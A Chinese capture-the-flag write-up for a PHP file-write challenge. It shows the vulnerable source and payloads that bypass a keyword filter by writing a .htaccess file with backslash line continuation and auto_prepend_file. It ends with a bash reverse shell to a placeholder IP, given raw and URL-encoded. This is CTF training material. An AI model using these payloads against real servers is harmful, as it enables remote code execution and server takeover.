[羊城杯2020]easyphp

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

可以写入文件，虽然会删除index.php之外的文件，但是不访问index.php就能一直留着

/?filename=info.php&content=<?php phpinfo();?>

/info.php

并没有被解析

尝试直接往index.php写入

/?filename=index.php&content=<?php phpinfo();?>

莫得用

尝试往.htaccess写入，同时利用.htaccess的反斜杠续行绕过关键词检测

/?filename=.htaccess&content=php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();?>
#\

url编码

/?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp+phpinfo()%3B%3F%3E%0D%0A%23%5C

同理可弹shell

/?filename=.htaccess&content=php_value auto_prepend_fi\
le .htaccess
#<?php system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1"');?>
#\

url编码

/?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp+system(%27bash+%2Dc+%22bash+%2Di+%3E%26+%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F2333+0%3E%261%22%27)%3B%3F%3E%0D%0A%23%5C